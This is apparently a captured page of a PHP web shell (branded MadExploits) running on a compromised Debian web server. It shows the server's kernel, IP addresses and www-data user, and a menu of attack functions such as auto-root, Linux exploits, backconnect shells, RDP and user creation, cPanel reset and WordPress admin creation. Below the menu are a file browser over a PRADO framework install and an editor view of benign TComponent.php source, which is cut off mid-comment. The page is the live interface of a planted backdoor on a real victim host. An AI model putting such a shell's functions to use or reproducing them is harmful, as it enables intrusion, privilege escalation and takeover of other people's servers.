Linux polon 4.19.0-27-amd64 #1 SMP Debian 4.19.316-1 (2024-06-25) x86_64
Apache/2.4.59 (Debian)
: 10.2.73.233 | : 18.226.214.1
Cant Read [ /etc/named.conf ]
5.6.40-64+0~20230107.71+debian10~1.gbp673146
www-data
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
home /
ifk /
web /
prado4.3.2 /
[ HOME SHELL ]
Name
Size
Permission
Action
Caching
[ DIR ]
drwxr-xr-x
Collections
[ DIR ]
drwxr-xr-x
Data
[ DIR ]
drwxr-xr-x
Exceptions
[ DIR ]
drwxr-xr-x
I18N
[ DIR ]
drwxr-xr-x
IO
[ DIR ]
drwxr-xr-x
Security
[ DIR ]
drwxr-xr-x
Shell
[ DIR ]
drwxr-xr-x
Util
[ DIR ]
drwxr-xr-x
Web
[ DIR ]
drwxr-xr-x
Xml
[ DIR ]
drwxr-xr-x
IDataRenderer.php
683
B
-rw-r--r--
IModule.php
715
B
-rw-r--r--
IService.php
956
B
-rw-r--r--
IStatePersister.php
752
B
-rw-r--r--
Prado.php
21.78
KB
-rw-r--r--
TApplication.php
36.05
KB
-rw-r--r--
TApplicationComponent.php
4.88
KB
-rw-r--r--
TApplicationConfiguration.php
18.7
KB
-rw-r--r--
TApplicationMode.php
961
B
-rw-r--r--
TApplicationStatePersister.php
2.11
KB
-rw-r--r--
TComponent.php
70.91
KB
-rw-r--r--
TComponentReflection.php
5.55
KB
-rw-r--r--
TEnumerable.php
1.47
KB
-rw-r--r--
TEventParameter.php
571
B
-rw-r--r--
TEventResults.php
606
B
-rw-r--r--
TModule.php
1.19
KB
-rw-r--r--
TPropertyValue.php
5.74
KB
-rw-r--r--
TService.php
1.45
KB
-rw-r--r--
classes.php
44.27
KB
-rw-r--r--
powered.gif
1.45
KB
-rw-r--r--
powered2.gif
219
B
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : TComponent.php
<?php /** * TComponent, TPropertyValue classes * * @author Qiang Xue <qiang.xue@gmail.com> * * Global Events, intra-object events, Class behaviors, expanded behaviors * @author Brad Anderson <javalizard@mac.com> * * @author Qiang Xue <qiang.xue@gmail.com> * @link https://github.com/pradosoft/prado * @license https://github.com/pradosoft/prado/blob/master/LICENSE */ namespace Prado; use Prado\Util\IBaseBehavior; use Prado\Web\Javascripts\TJavaScriptLiteral; use Prado\Web\Javascripts\TJavaScriptString; use Prado\Util\TCallChain; use Prado\Util\IBehavior; use Prado\Util\IDynamicMethods; use Prado\Util\IClassBehavior; use Prado\Util\TClassBehaviorEventParameter; use Prado\Exceptions\TApplicationException; use Prado\Exceptions\TInvalidOperationException; use Prado\Exceptions\TInvalidDataTypeException; use Prado\Exceptions\TInvalidDataValueException; use Prado\Collections\TWeakCallableCollection; use Prado\Collections\TPriorityMap; /** * TComponent class * * TComponent is the base class for all PRADO components. * TComponent implements the protocol of defining, using properties, behaviors, * and events. * * A property is defined by a getter method, and/or a setter method. * Properties can be accessed in the way like accessing normal object members. * Reading or writing a property will cause the invocation of the corresponding * getter or setter method, e.g., * <code> * $a=$this->Text; // equivalent to $a=$this->getText(); * $this->Text='abc'; // equivalent to $this->setText('abc'); * </code> * The signatures of getter and setter methods are as follows, * <code> * // getter, defines a readable property 'Text' * function getText() { ... } * // setter, defines a writable property 'Text', with $value being the value to be set to the property * function setText($value) { ... } * </code> * Property names are case-insensitive. It is recommended that they are written * in the format of concatenated words, with the first letter of each word * capitalized (e.g. DisplayMode, ItemStyle). * * Javascript Get and Set * * Since Prado 3.2 a new class of javascript-friendly properties have been introduced * to better deal with potential security problems like cross-site scripting issues. * All the data that gets sent clientside inside a javascript block is now encoded by default. * Sometimes there's the need to bypass this encoding and be able to send raw javascript code. * This new class of javascript-friendly properties are identified by their name * starting with 'js' (case insensitive): * <code> * // getter, defines a readable property 'Text' * function getJsText() { ... } * // setter, defines a writable property 'Text', with $value being the value to be set to the property * function setJsText(TJavaScriptLiteral $value) { ... } * </code> * Js-friendly properties can be accessed using both their Js-less name and their Js-enabled name: * <code> * // set some simple text as property value * $component->Text = 'text'; * // set some javascript code as property value * $component->JsText = 'raw javascript'; * </code> * In the first case, the property value will automatically gets encoded when sent * clientside inside a javascript block. * In the second case, the property will be 'marked' as being a safe javascript * statement and will not be encoded when rendered inside a javascript block. * This special handling makes use of the {@link TJavaScriptLiteral} class. * * Events * * An event is defined by the presence of a method whose name starts with 'on'. * The event name is the method name and is thus case-insensitive. * An event can be attached with one or several methods (called event handlers). * An event can be raised by calling {@link raiseEvent} method, upon which * the attached event handlers will be invoked automatically in the order they * are attached to the event. Event handlers must have the following signature, * <code> * function eventHandlerFuncName($sender, $param) { ... } * </code> * where $sender refers to the object who is responsible for the raising of the event, * and $param refers to a structure that may contain event-specific information. * To raise an event (assuming named as 'Click') of a component, use * <code> * $component->raiseEvent('OnClick'); * $component->raiseEvent('OnClick', $this, $param); * </code> * To attach an event handler to an event, use one of the following ways, * <code> * $component->OnClick = $callback; * $component->OnClick->add($callback); * $component->attachEventHandler('OnClick', $callback); * </code> * The first two ways make use of the fact that $component->OnClick refers to * the event handler list {@link TWeakCallableCollection} for the 'OnClick' event. * The variable $callback contains the definition of the event handler that can * be either: * * a string referring to a global function name * <code> * $component->OnClick = 'buttonClicked'; * // will cause the following function to be called * buttonClicked($sender, $param); * </code> * * an array whose first element refers to an object and second element a method name/path that is reachable by the object * <code> * $component->OnClick = [$object, 'buttonClicked']; * // will cause the following function to be called * $object->buttonClicked($sender, param); * * // the method can also be expressed using the PRADO namespace format * $component->OnClick = [$object, 'MainContent.SubmitButton.buttonClicked']; * // will cause the following function to be called * $object->MainContent->SubmitButton->buttonClicked($sender, $param); * </code * * Global and dynamic events * * With the addition of behaviors, a more expansive event model is needed. There * are two new event types (global and dynamic events) as well as a more comprehensive * behavior model that includes class wide behaviors. * * A global event is defined by all events whose name starts with 'fx'. * The event name is potentially a method name and is thus case-insensitive. All 'fx' events * are valid as the whole 'fx' event/method space is global in nature. Any object may patch into * any global event by defining that event as a method. Global events have priorities * just like 'on' events; so as to be able to order the event execution. Due to the * nature of all events which start with 'fx' being valid, in effect, every object * has every 'fx' global event. It is simply an issue of tapping into the desired * global event. * * A global event that starts with 'fx' can be called even if the object does not * implement the method of the global event. A call to a non-existing 'fx' method * will, at minimal, function and return null. If a method argument list has a first * parameter, it will be returned instead of null. This allows filtering and chaining. * 'fx' methods do not automatically install and uninstall. To install and uninstall an * object's global event listeners, call the object's {@link listen} and * {@link unlisten} methods, respectively. An object may auto-install its global event * during {@link __construct} by overriding {@link getAutoGlobalListen} and returning true. * * As of PHP version 5.3, nulled objects without code references will still continue to persist * in the global event queue because {@link __destruct} is not automatically called. In the common * __destruct method, if an object is listening to global events, then {@link unlisten} is called. * {@link unlisten} is required to be manually called before an object is * left without references if it is currently listening to any global events. This includes * class wide behaviors. This is corrected in PHP 7.4.0 with WeakReferences and {@link * TWeakCallableCollection} * * An object that contains a method that starts with 'fx' will have those functions * automatically receive those events of the same name after {@link listen} is called on the object. * * An object may listen to a global event without defining an 'fx' method of the same name by * adding an object method to the global event list. For example * <code> * $component->fxGlobalCheck=$callback; * $component->fxGlobalCheck->add($callback); * $component->attachEventHandler('fxGlobalCheck', [$object, 'someMethod']); * </code> * * Events between Objects and their behaviors, Dynamic Events * * An intra-object/behavior event is defined by methods that start with 'dy'. Just as with * 'fx' global events, every object has every dynamic event. Any call to a method that * starts with 'dy' will be handled, regardless of whether it is implemented. These * events are for communicating with attached behaviors. * * Dynamic events can be used in a variety of ways. They can be used to tell behaviors * when a non-behavior method is called. Dynamic events could be used as data filters. * They could also be used to specify when a piece of code is to be run, eg. should the * loop process be performed on a particular piece of data. In this way, some control * is handed to the behaviors over the process and/or data. * * If there are no handlers for an 'fx' or 'dy' event, it will return the first * parameter of the argument list. If there are no arguments, these events * will return null. If there are handlers an 'fx' method will be called directly * within the object. Global 'fx' events are triggered by calling {@link raiseEvent}. * For dynamic events where there are behaviors that respond to the dynamic events, a * {@link TCallChain} is developed. A call chain allows the behavior dynamic event * implementations to call further implementing behaviors within a chain. * * If an object implements {@link IDynamicMethods}, all global and object dynamic * events will be sent to {@link __dycall}. In the case of global events, all * global events will trigger this method. In the case of behaviors, all undefined * dynamic events which are called will be passed through to this method. * * * Behaviors * * There are two types of behaviors. There are individual object behaviors and * there are class wide behaviors. Class behaviors depend upon object behaviors. * * When a new class implements {@link IBehavior} or {@link IClassBehavior} or * extends {@link TBehavior} or {@link TClassBehavior}, it may be attached to an * object by calling the object's {@link attachBehavior}. The behaviors associated * name can then be used to {@link enableBehavior} or {@link disableBehavior} * the specific behavior. * * All behaviors may be turned on and off via {@link enableBehaviors} and * {@link disableBehaviors}, respectively. To check if behaviors are on or off * a call to {@link getBehaviorsEnabled} will provide the variable. * * Attaching and detaching whole sets of behaviors is done using * {@link attachBehaviors} and {@link detachBehaviors}. {@link clearBehaviors} * removes all of an object's behaviors. * * {@link asa} returns a behavior of a specific name. {@link isa} is the * behavior inclusive function that acts as the PHP operator {@link instanceof}. * A behavior could provide the functionality of a specific class thus causing * the host object to act similarly to a completely different class. A behavior * would then implement {@link IInstanceCheck} to provide the identity of the * different class. * * Class behaviors are similar to object behaviors except that the class behavior * is the implementation for all instances of the class. A class behavior * will have the object upon which is being called be prepended to the parameter * list. This way the object is known across the class behavior implementation. * * Class behaviors are attached using {@link attachClassBehavior} and detached * using {@link detachClassBehavior}. Class behaviors are important in that * they will be applied to all new instances of a particular class. In this way * class behaviors become default behaviors to a new instances of a class in * {@link __construct}. Detaching a class behavior will remove the behavior * from the default set of behaviors created for an object when the object * is instanced. * * Class behaviors are also added to all existing instances via the global 'fx' * event mechanism. When a new class behavior is added, the event * {@link fxAttachClassBehavior} is raised and all existing instances that are * listening to this global event (primarily after {@link listen} is called) * will have this new behavior attached. A similar process is used when * detaching class behaviors. Any objects listening to the global 'fx' event * {@link fxDetachClassBehavior} will have a class behavior removed. * * Dynamic Intra-Object Events * * Dynamic events start with 'dy'. This mechanism is used to allow objects * to communicate with their behaviors directly. The entire 'dy' event space * is valid. All attached, enabled behaviors that implement a dynamic event * are called when the host object calls the dynamic event. If there is no * implementation or behaviors, this returns null when no parameters are * supplied and will return the first parameter when there is at least one * parameter in the dynamic event. * <code> * null == $this->dyBehaviorEvent(); * 5 == $this->dyBehaviorEvent(5); //when no behaviors implement this dynamic event * </code> * * Dynamic events can be chained together within behaviors to allow for data * filtering. Dynamic events are implemented within behaviors by defining the * event as a method. * <code> * class TObjectBehavior extends TBehavior { * public function dyBehaviorEvent($param1, $callchain) { * //Do something, eg: $param1 += 13; * return $callchain->dyBehaviorEvent($param1); * } * } * </code> * This implementation of a behavior and dynamic event will flow through to the * next behavior implementing the dynamic event. The first parameter is always * return when it is supplied. Otherwise a dynamic event returns null. * * In the case of a class behavior, the object is also prepended to the dynamic * event. * <code> * class TObjectClassBehavior extends TClassBehavior { * public function dyBehaviorEvent($hostobject, $param1, $callchain) { * //Do something, eg: $param1 += $hostobject->getNumber(); * return $callchain->dyBehaviorEvent($param1); * } * } * </code> * When calling a dynamic event, only the parameters are passed. The host object * and the call chain are built into the framework. * * Global Event and Dynamic event catching * * Given that all global 'fx' events and dynamic 'dy' events are valid and * operational, there is a mechanism for catching events called that are not * implemented (similar to the built-in PHP method {@link __call}). When * a dynamic or global event is called but a behavior does not implement it, * yet desires to know when an undefined dynamic event is run, the behavior * implements the interface {@link IDynamicMethods} and method {@link __dycall}. * * In the case of dynamic events, {@link __dycall} is supplied with the method * name and its parameters. When a global event is raised, via {@link raiseEvent}, * the method is the event name and the parameters are supplied. * * When implemented, this catch-all mechanism is called for event global event event * when implemented outside of a behavior. Within a behavior, it will also be called * when the object to which the behavior is attached calls any unimplemented dynamic * event. This is the fall-back mechanism for informing a class and/or behavior * of when an global and/or undefined dynamic event is executed. * * @author Qiang Xue <qiang.xue@gmail.com> * @author Brad Anderson <javalizard@mac.com> * @since 3.0 * @method void dyListen(array $globalEvents) * @method void dyUnlisten(array $globalEvents) * @method string dyPreRaiseEvent(string $name, mixed $sender, \Prado\TEventParameter $param, null|numeric $responsetype, null|function $postfunction) * @method dyIntraRaiseEventTestHandler(callable $handler, mixed $sender, \Prado\TEventParameter $param, string $name) * @method bool dyIntraRaiseEventPostHandler(string $name, mixed $sender, \Prado\TEventParameter $param, callable $handler, $response) * @method array dyPostRaiseEvent(array $responses, string $name, mixed $sender, \Prado\TEventParameter $param, null|numeric $responsetype, null|function $postfunction) * @method string dyEvaluateExpressionFilter(string $statements) * @method string dyEvaluateStatementsFilter(string $statements) * @method dyCreatedOnTemplate(\Prado\TComponent $parent) * @method void dyAddParsedObject(\Prado\TComponent|string $object) * @method void dyAttachBehavior(string $name, IBehavior $behavior) * @method void dyDetachBehavior(string $name, IBehavior $behavior) * @method void dyEnableBehavior(string $name, IBehavior $behavior) * @method void dyDisableBehavior(string $name, IBehavior $behavior) * @method void dyEnableBehaviors() * @method void dyDisableBehaviors() */ class TComponent { /** * @var array event handler lists */ protected $_e = []; /** * @var bool if listening is enabled. Automatically turned on or off in * constructor according to {@link getAutoGlobalListen}. Default false, off */ protected $_listeningenabled = false; /** * @var array static registered global event handler lists */ private static $_ue = []; /** * @var bool if object behaviors are on or off. default true, on */ protected $_behaviorsenabled = true; /** * @var TPriorityMap list of object behaviors */ protected $_m; /** * @var array static global class behaviors, these behaviors are added upon instantiation of a class */ private static $_um = []; /** * @const string the name of the global {@link raiseEvent} listener */ public const GLOBAL_RAISE_EVENT_LISTENER = 'fxGlobalListener'; /** * The common __construct * If desired by the new object, this will auto install and listen to global event functions * as defined by the object via 'fx' methods. This also attaches any predefined behaviors. * This function installs all class behaviors in a class hierarchy from the deepest subclass * through each parent to the top most class, TComponent. */ public function __construct() { if ($this->getAutoGlobalListen()) { $this->listen(); } $classes = $this->getClassHierarchy(true); array_pop($classes); foreach ($classes as $class) { if (isset(self::$_um[$class])) { $this->attachBehaviors(self::$_um[$class]); } } } /** * Tells TComponent whether or not to automatically listen to global events. * Defaults to false because PHP variable cleanup is affected if this is true. * When unsetting a variable that is listening to global events, {@link unlisten} * must explicitly be called when cleaning variables allocation or else the global * event registry will contain references to the old object. This is true for PHP 5.4 * * Override this method by a subclass to change the setting. When set to true, this * will enable {@link __construct} to call {@link listen}. * * @return bool whether or not to auto listen to global events during {@link __construct}, default false */ public function getAutoGlobalListen() { return false; } /** * The common __destruct * This unlistens from the global event routines if listening * * PHP 5.3 does not __destruct objects when they are nulled and thus unlisten must be * called must be explicitly called. PHP 7.4.0 uses WeakReferences and this will be called * automatically. */ public function __destruct() { if ($this->_listeningenabled) { $this->unlisten(); } } /** * This utility function is a private array filter method. The array values * that start with 'fx' are filtered in. * @param mixed $name */ private function filter_prado_fx($name) { return strncasecmp($name, 'fx', 2) === 0; } /** * This returns an array of the class name and the names of all its parents. The base object last, * {@link TComponent}, and the deepest subclass is first. * @param bool $lowercase optional should the names be all lowercase true/false * @return string[] array of strings being the class hierarchy of $this. */ public function getClassHierarchy($lowercase = false) { static $_classhierarchy = []; $class = get_class($this); if (isset($_classhierarchy[$class]) && isset($_classhierarchy[$class][$lowercase ? 1 : 0])) { return $_classhierarchy[$class][$lowercase ? 1 : 0]; } $classes = array_values(class_implements($class)); array_push($classes, $class); while ($class = get_parent_class($class)) { array_push($classes, $class); } if ($lowercase) { $classes = array_map('strtolower', $classes); } $_classhierarchy[$class] = $_classhierarchy[$class] ?? []; $_classhierarchy[$class][$lowercase ? 1 : 0] = $classes; return $classes; } /** * This caches the 'fx' events for classes. * @param object $class * @return string[] fx events from a specific class */ protected function getClassFxEvents($class) { static $_classfx = []; $className = get_class($class); if (isset($_classfx[$className])) { return $_classfx[$className]; } $fx = array_filter(get_class_methods($class), [$this, 'filter_prado_fx']); $_classfx[$className] = $fx; return $fx; } /** * This adds an object's fx event handlers into the global broadcaster to listen into any * broadcast global events called through {@link raiseEvent} * * Behaviors may implement the function: * <code> * public function dyListen($globalEvents[, $chain]) { * $this->listen(); //eg * } * </code> * to be executed when listen is called. All attached behaviors are notified through dyListen. * * @return numeric the number of global events that were registered to the global event registry */ public function listen() { if ($this->_listeningenabled) { return; } $fx = $this->getClassFxEvents($this); foreach ($fx as $func) { $this->getEventHandlers($func)->add([$this, $func]); } if (is_a($this, 'Prado\\Util\\IDynamicMethods')) { $this->attachEventHandler(TComponent::GLOBAL_RAISE_EVENT_LISTENER, [$this, '__dycall']); array_push($fx, TComponent::GLOBAL_RAISE_EVENT_LISTENER); } $this->_listeningenabled = true; $this->dyListen($fx); return count($fx); } /** * this removes an object's fx events from the global broadcaster * * Behaviors may implement the function: * <code> * public function dyUnlisten($globalEvents[, $chain]) { * $this->behaviorUnlisten(); //eg * } * </code> * to be executed when listen is called. All attached behaviors are notified through dyUnlisten. * * @return numeric the number of global events that were unregistered from the global event registry */ public function unlisten() { if (!$this->_listeningenabled) { return; } $fx = $this->getClassFxEvents($this); foreach ($fx as $func) { $this->detachEventHandler($func, [$this, $func]); } if (is_a($this, 'Prado\\Util\\IDynamicMethods')) { $this->detachEventHandler(TComponent::GLOBAL_RAISE_EVENT_LISTENER, [$this, '__dycall']); array_push($fx, TComponent::GLOBAL_RAISE_EVENT_LISTENER); } $this->_listeningenabled = false; $this->dyUnlisten($fx); return count($fx); } /** * Gets the state of listening to global events * @return bool is Listening to global broadcast enabled */ public function getListeningToGlobalEvents() { return $this->_listeningenabled; } /** * Calls a method. * Do not call this method directly. This is a PHP magic method that we override * to allow behaviors, dynamic events (intra-object/behavior events), * undefined dynamic and global events, and * to allow using the following syntax to call a property setter or getter. * <code> * $this->getPropertyName($value); // if there's a $this->getjsPropertyName() method * $this->setPropertyName($value); // if there's a $this->setjsPropertyName() method * </code> * * Additional object behaviors override class behaviors. * dynamic and global events do not fail even if they aren't implemented. * Any intra-object/behavior dynamic events that are not implemented by the behavior * return the first function paramater or null when no parameters are specified. * * @param string $method method name that doesn't exist and is being called on the object * @param mixed $args method parameters * @throws TInvalidOperationException If the property is not defined or read-only or * method is undefined * @return mixed result of the method call, or false if 'fx' or 'dy' function but * is not found in the class, otherwise it runs */ public function __call($method, $args) { $getset = substr($method, 0, 3); if (($getset == 'get') || ($getset == 'set')) { $propname = substr($method, 3); $jsmethod = $getset . 'js' . $propname; if (method_exists($this, $jsmethod)) { if (count($args) > 0) { if ($args[0] && !($args[0] instanceof TJavaScriptString)) { $args[0] = new TJavaScriptString($args[0]); } } return call_user_func_array([$this, $jsmethod], $args); } if (($getset == 'set') && method_exists($this, 'getjs' . $propname)) { throw new TInvalidOperationException('component_property_readonly', get_class($this), $method); } } if ($this->_m !== null && $this->_behaviorsenabled) { if (strncasecmp($method, 'dy', 2) === 0) { $callchain = null; foreach ($this->_m->toArray() as $behavior) { if ((!($behavior instanceof IBehavior) || $behavior->getEnabled()) && (method_exists($behavior, $method) || ($behavior instanceof IDynamicMethods))) { $behavior_args = $args; if ($behavior instanceof IClassBehavior) { array_unshift($behavior_args, $this); } if (!$callchain) { $callchain = new TCallChain($method); } $callchain->addCall([$behavior, $method], $behavior_args); } } if ($callchain) { return call_user_func_array([$callchain, 'call'], $args); } } else { foreach ($this->_m->toArray() as $behavior) { if ((!($behavior instanceof IBehavior) || $behavior->getEnabled()) && method_exists($behavior, $method)) { if ($behavior instanceof IClassBehavior) { array_unshift($args, $this); } return call_user_func_array([$behavior, $method], $args); } } } } if (strncasecmp($method, 'dy', 2) === 0 || strncasecmp($method, 'fx', 2) === 0) { if ($this instanceof IDynamicMethods) { return $this->__dycall($method, $args); } return $args[0] ?? null; } // don't thrown an exception for __magicMethods() or any other weird methods natively implemented by php if (!method_exists($this, $method)) { throw new TApplicationException('component_method_undefined', get_class($this), $method); } } /** * Returns a property value or an event handler list by property or event name. * Do not call this method. This is a PHP magic method that we override * to allow using the following syntax to read a property: * <code> * $value=$component->PropertyName; * $value=$component->jsPropertyName; // return JavaScript literal * </code> * and to obtain the event handler list for an event, * <code> * $eventHandlerList=$component->EventName; * </code> * This will also return the global event handler list when specifing an 'fx' * event, * <code> * $globalEventHandlerList=$component->fxEventName; * </code> * When behaviors are enabled, this will return the behavior of a specific * name, a property of a behavior, or an object 'on' event defined by the behavior. * @param string $name the property name or the event name * @throws TInvalidOperationException if the property/event is not defined. * @return mixed the property value or the event handler list as {@link TWeakCallableCollection} */ public function __get($name) { if (method_exists($this, $getter = 'get' . $name)) { // getting a property return $this->$getter(); } elseif (method_exists($this, $jsgetter = 'getjs' . $name)) { // getting a javascript property return (string) $this->$jsgetter(); } elseif (strncasecmp($name, 'on', 2) === 0 && method_exists($this, $name)) { // getting an event (handler list) $name = strtolower($name); if (!isset($this->_e[$name])) { $this->_e[$name] = new TWeakCallableCollection(); } return $this->_e[$name]; } elseif (strncasecmp($name, 'fx', 2) === 0) { // getting a global event (handler list) $name = strtolower($name); if (!isset(self::$_ue[$name])) { self::$_ue[$name] = new TWeakCallableCollection(); } return self::$_ue[$name]; } elseif ($this->_behaviorsenabled) { // getting a behavior property/event (handler list) if (isset($this->_m[$name])) { return $this->_m[$name]; } elseif ($this->_m !== null) { foreach ($this->_m->toArray() as $behavior) { if ((!($behavior instanceof IBehavior) || $behavior->getEnabled()) && (property_exists($behavior, $name) || $behavior->canGetProperty($name) || $behavior->hasEvent($name))) { return $behavior->$name; } } } } throw new TInvalidOperationException('component_property_undefined', get_class($this), $name); } /** * Sets value of a component property. * Do not call this method. This is a PHP magic method that we override * to allow using the following syntax to set a property or attach an event handler. * <code> * $this->PropertyName=$value; * $this->jsPropertyName=$value; // $value will be treated as a JavaScript literal * $this->EventName=$handler; * $this->fxEventName=$handler; //global event listener * </code> * When behaviors are enabled, this will also set a behaviors properties and events. * @param string $name the property name or event name * @param mixed $value the property value or event handler * @throws TInvalidOperationException If the property is not defined or read-only. */ public function __set($name, $value) { if (method_exists($this, $setter = 'set' . $name)) { if (strncasecmp($name, 'js', 2) === 0 && $value && !($value instanceof TJavaScriptLiteral)) { $value = new TJavaScriptLiteral($value); } return $this->$setter($value); } elseif (method_exists($this, $jssetter = 'setjs' . $name)) { if ($value && !($value instanceof TJavaScriptString)) { $value = new TJavaScriptString($value); } return $this->$jssetter($value); } elseif ((strncasecmp($name, 'on', 2) === 0 && method_exists($this, $name)) || strncasecmp($name, 'fx', 2) === 0) { return $this->attachEventHandler($name, $value); } elseif ($this->_m !== null && $this->_m->getCount() > 0 && $this->_behaviorsenabled) { $sets = 0; foreach ($this->_m->toArray() as $behavior) { if ((!($behavior instanceof IBehavior) || $behavior->getEnabled()) && (property_exists($behavior, $name) || $behavior->canSetProperty($name) || $behavior->hasEvent($name))) { $behavior->$name = $value; $sets++; } } if ($sets) { return $value; } } if (method_exists($this, 'get' . $name) || method_exists($this, 'getjs' . $name)) { throw new TInvalidOperationException('component_property_readonly', get_class($this), $name); } else { throw new TInvalidOperationException('component_property_undefined', get_class($this), $name); } } /** * Checks if a property value is null, there are no events in the object * event list or global event list registered under the name, and, if * behaviors are enabled, * Do not call this method. This is a PHP magic method that we override * to allow using isset() to detect if a component property is set or not. * This also works for global events. When behaviors are enabled, it * will check for a behavior of the specified name, and also check * the behavior for events and properties. * @param string $name the property name or the event name * @since 3.2.3 */ public function __isset($name) { if (method_exists($this, $getter = 'get' . $name)) { return $this->$getter() !== null; } elseif (method_exists($this, $jsgetter = 'getjs' . $name)) { return $this->$jsgetter() !== null; } elseif (strncasecmp($name, 'on', 2) === 0 && method_exists($this, $name)) { $name = strtolower($name); return isset($this->_e[$name]) && $this->_e[$name]->getCount(); } elseif (strncasecmp($name, 'fx', 2) === 0) { $name = strtolower($name); return isset(self::$_ue[$name]) && self::$_ue[$name]->getCount(); } elseif ($this->_m !== null && $this->_m->getCount() > 0 && $this->_behaviorsenabled) { if (isset($this->_m[$name])) { return true; } foreach ($this->_m->toArray() as $behavior) { if ((!($behavior instanceof IBehavior) || $behavior->getEnabled())) { return isset($behavior->$name); } } } return false; } /** * Sets a component property to be null. Clears the object or global * events. When enabled, loops through all behaviors and unsets the * property or event. * Do not call this method. This is a PHP magic method that we override * to allow using unset() to set a component property to be null. * @param string $name the property name or the event name * @throws TInvalidOperationException if the property is read only. * @since 3.2.3 */ public function __unset($name) { if (method_exists($this, $setter = 'set' . $name)) { $this->$setter(null); } elseif (method_exists($this, $jssetter = 'setjs' . $name)) { $this->$jssetter(null); } elseif (strncasecmp($name, 'on', 2) === 0 && method_exists($this, $name)) { $this->_e[strtolower($name)]->clear(); } elseif (strncasecmp($name, 'fx', 2) === 0) { $this->getEventHandlers($name)->remove([$this, $name]); } elseif ($this->_m !== null && $this->_m->getCount() > 0 && $this->_behaviorsenabled) { if (isset($this->_m[$name])) { $this->detachBehavior($name); } else { $unset = 0; foreach ($this->_m->toArray() as $behavior) { if ((!($behavior instanceof IBehavior) || $behavior->getEnabled())) { unset($behavior->$name); $unset++; } } if (!$unset && method_exists($this, 'get' . $name)) { throw new TInvalidOperationException('component_property_readonly', get_class($this), $name); } } } elseif (method_exists($this, 'get' . $name)) { throw new TInvalidOperationException('component_property_readonly', get_class($this), $name); } } /** * Determines whether a property is defined. * A property is defined if there is a getter or setter method * defined in the class. Note, property names are case-insensitive. * @param string $name the property name * @return bool whether the property is defined */ public function hasProperty($name) { return $this->canGetProperty($name) || $this->canSetProperty($name); } /** * Determines whether a property can be read. * A property can be read if the class has a getter method * for the property name. Note, property name is case-insensitive. * This also checks for getjs. When enabled, it loops through all * active behaviors for the get property when undefined by the object. * @param string $name the property name * @return bool whether the property can be read */ public function canGetProperty($name) { if (method_exists($this, 'get' . $name) || method_exists($this, 'getjs' . $name)) { return true; } elseif ($this->_m !== null && $this->_behaviorsenabled) { foreach ($this->_m->toArray() as $behavior) { if ((!($behavior instanceof IBehavior) || $behavior->getEnabled()) && $behavior->canGetProperty($name)) { return true; } } } return false; } /** * Determines whether a property can be set. * A property can be written if the class has a setter method * for the property name. Note, property name is case-insensitive. * This also checks for setjs. When enabled, it loops through all * active behaviors for the set property when undefined by the object. * @param string $name the property name * @return bool whether the property can be written */ public function canSetProperty($name) { if (method_exists($this, 'set' . $name) || method_exists($this, 'setjs' . $name)) { return true; } elseif ($this->_m !== null && $this->_behaviorsenabled) { foreach ($this->_m->toArray() as $behavior) { if ((!($behavior instanceof IBehavior) || $behavior->getEnabled()) && $behavior->canSetProperty($name)) { return true; } } } return false; } /** * Evaluates a property path. * A property path is a sequence of property names concatenated by '.' character. * For example, 'Parent.Page' refers to the 'Page' property of the component's * 'Parent' property value (which should be a component also). * When a property is not defined by an object, this also loops through all * active behaviors of the object. * @param string $path property path * @return mixed the property path value */ public function getSubProperty($path) { $object = $this; foreach (explode('.', $path) as $property) { $object = $object->$property; } return $object; } /** * Sets a value to a property path. * A property path is a sequence of property names concatenated by '.' character. * For example, 'Parent.Page' refers to the 'Page' property of the component's * 'Parent' property value (which should be a component also). * When a property is not defined by an object, this also loops through all * active behaviors of the object. * @param string $path property path * @param mixed $value the property path value */ public function setSubProperty($path, $value) { $object = $this; if (($pos = strrpos($path, '.')) === false) { $property = $path; } else { $object = $this->getSubProperty(substr($path, 0, $pos)); $property = substr($path, $pos + 1); } $object->$property = $value; } /** * Determines whether an event is defined. * An event is defined if the class has a method whose name is the event name * prefixed with 'on', 'fx', or 'dy'. * Every object responds to every 'fx' and 'dy' event as they are in a universally * accepted event space. 'on' event must be declared by the object. * When enabled, this will loop through all active behaviors for 'on' events * defined by the behavior. * Note, event name is case-insensitive. * @param string $name the event name * @return bool */ public function hasEvent($name) { if ((strncasecmp($name, 'on', 2) === 0 && method_exists($this, $name)) || strncasecmp($name, 'fx', 2) === 0 || strncasecmp($name, 'dy', 2) === 0) { return true; } elseif ($this->_m !== null && $this->_behaviorsenabled) { foreach ($this->_m->toArray() as $behavior) { if ((!($behavior instanceof IBehavior) || $behavior->getEnabled()) && $behavior->hasEvent($name)) { return true; } } } return false; } /** * Checks if an event has any handlers. This function also checks through all * the behaviors for 'on' events when behaviors are enabled. * 'dy' dynamic events are not handled by this function. * @param string $name the event name * @return bool whether an event has been attached one or several handlers */ public function hasEventHandler($name) { $name = strtolower($name); if (strncasecmp($name, 'fx', 2) === 0) { return isset(self::$_ue[$name]) && self::$_ue[$name]->getCount() > 0; } else { if (isset($this->_e[$name]) && $this->_e[$name]->getCount() > 0) { return true; } elseif ($this->_m !== null && $this->_behaviorsenabled) { foreach ($this->_m->toArray() as $behavior) { if ((!($behavior instanceof IBehavior) || $behavior->getEnabled()) && $behavior->hasEventHandler($name)) { return true; } } } } return false; } /** * Returns the list of attached event handlers for an 'on' or 'fx' event. This function also * checks through all the behaviors for 'on' event lists when behaviors are enabled. * @param mixed $name * @throws TInvalidOperationException if the event is not defined * @return TWeakCallableCollection list of attached event handlers for an event */ public function getEventHandlers($name) { if (strncasecmp($name, 'on', 2) === 0 && method_exists($this, $name)) { $name = strtolower($name); if (!isset($this->_e[$name])) { $this->_e[$name] = new TWeakCallableCollection(); } return $this->_e[$name]; } elseif (strncasecmp($name, 'fx', 2) === 0) { $name = strtolower($name); if (!isset(self::$_ue[$name])) { self::$_ue[$name] = new TWeakCallableCollection(); } return self::$_ue[$name]; } elseif ($this->_m !== null && $this->_behaviorsenabled) { foreach ($this->_m->toArray() as $behavior) { if ((!($behavior instanceof IBehavior) || $behavior->getEnabled()) && $behavior->hasEvent($name)) { return $behavior->getEventHandlers($name); } } } throw new TInvalidOperationException('component_event_undefined', get_class($this), $name); } /** * Attaches 